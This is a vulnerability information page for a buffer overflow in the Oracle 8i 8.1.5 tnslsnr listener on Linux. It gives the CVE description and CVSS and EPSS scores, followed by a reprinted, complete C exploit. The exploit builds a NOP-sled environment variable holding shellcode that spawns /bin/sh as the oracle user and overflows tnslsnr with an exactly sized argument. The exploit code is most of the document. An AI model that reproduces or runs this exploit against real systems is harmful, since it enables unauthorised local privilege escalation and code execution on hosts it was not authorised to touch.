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Buffer overflow in tnslsnr of Oracle 8i Database Server 8.1.5 for Linux allows local users to execute arbitrary code as the oracle user via a long command line argument.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.9%
–
–
2022-04-03
–
–
1.9%
–
–
2022-04-24
–
–
1.9%
–
–
2022-09-11
–
–
1.9%
–
–
2023-03-12
–
–
–
0.08%
–
2023-06-11
–
–
–
0.08%
–
2024-02-11
–
–
–
0.08%
–
2024-03-31
–
–
–
0.08%
–
2024-06-02
–
–
–
0.11%
–
2024-10-27
–
–
–
0.11%
–
2024-12-22
–
–
–
0.11%
–
2024-12-29
–
–
–
0.06%
–
2025-01-19
–
–
–
0.06%
–
2025-01-19
–
–
–
0.06%
–
2025-03-18
–
–
–
–
10.79%
2025-03-30
–
–
–
–
9.48%
2025-04-23
–
–
–
–
8.25%
2025-04-23
–
–
–
–
8.25,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2002-03-31 22h00 +00:00 Author : the itch EDB Verified : Yes
/*
source: https://www.securityfocus.com/bid/4413/info
Oracle 8i is a powerful relational database product. It is available for Windows, Linux, and a wide range of Unix operating systems.
A vulnerability has been reported with some versions of Oracle 8i for Linux. A local attacker able to execute the tnslsnr process may pass an oversized command line parameter and cause a buffer overflow, possibly leading to the execution of arbitrary code as the user 'oracle'.
Versions of Oracle 8i available for other operating systems have not yet been confirmed as vulnerable.
*/
/*
* Yet another exploit for the 'Unbreakable' Oracle database
* The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
* Shellcode created by r0z / Promisc
* Exploit coded up by The Itch / Promisc (http://www.promisc.org)
*
* This exploit was developed on the Snosoft vulnerability research machines
* mail dotslash@snosoft.com if you wish to participate in vuln research.
*
* - The Itch
* - itchie@promisc.org
*
* - Technical details concerning the exploit -
*
* 1). Buffer overflow occurs after writing more then 2132 bytes into the
* buffer at the command line 2128 to overwrite ebp, 2132 to
* overwrite eip).
* 2). If you write more then 2132 bytes, other frames will be
* overwritten afterwards and will mess up your flow of arbitrary code
* execution. (It must be exactly 2132 bytes!)
* 3). shellcode will try to do a setreuid(515);
*/
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_EGG_SIZE 4096
#define NOP 0x90
/* 2132 + 1 for the \0 at the end of the string */
#define DEFAULT_BUFFER_SIZE 2133
/* Shellcode made by r0z (r0z@promisc.org) */
char shellcode[] =
"\x31\xdb" /* xor %ebx, %ebx */
"\x31\xc9" /* xor %ecx, %ecx */
"\xf7\xe3" /* mul %ebx */
"\xb0\x46" /* mov $0x46, %al */
"\x66\xbb\x03\x02" /* mov $0x1fc, %bx */
"\x49" /* dec %ecx */
"\xcd\x80" /* int $0x80 */
"\x31\xd2" /* xor %edx, %edx */
"\x52" /* push %edx */
"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* mov %esp, %ebx */
"\x52" /* push %edx */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp, %ecx */
"\x6a\x0b" /* pushl $0xb */
"\x58" /* pop %eax */
"\xcd\x80"; /* int $0x80 */
int main(int argc, char *argv[])
{
char *buff;
char *egg;
char *ptr;
long *addr_ptr;
long addr;
int bsize = DEFAULT_BUFFER_SIZE;
int eggsize = DEFAULT_EGG_SIZE;
int i;
int get_sp = (int)&get_sp;
if(argc > 1) { bsize = atoi(argv[1]); }
if(!(buff = malloc(bsize)))
{
printf("unable to allocate memory for %d bytes\n", bsize);
exit(1);
}
if(!(egg = malloc(eggsize)))
{
printf("unable to allocate memory for %d bytes\n", eggsize);
exit(1);
}
printf("Oracle tnslsrn 8.1.5\n");
printf("Vulnerability found by KF / http://www.snosoft.com\n");
printf("Coded by The Itch / http://www.promisc.org\n\n");
printf("Using return address: 0x%x\n", get_sp);
printf("Using buffersize : %d\n", bsize - 1);
ptr = buff;
addr_ptr = (long *) ptr;
for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }
ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode)-1; i++)
{
*(ptr++) = NOP;
}
for(i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
putenv(egg);
buff[bsize - 1 ]= '\0';
execl("/home/u01/app/oracle/product/8.1.5/bin/tnslsnr",
"tnslsnr", buff, 0);
return 0;
}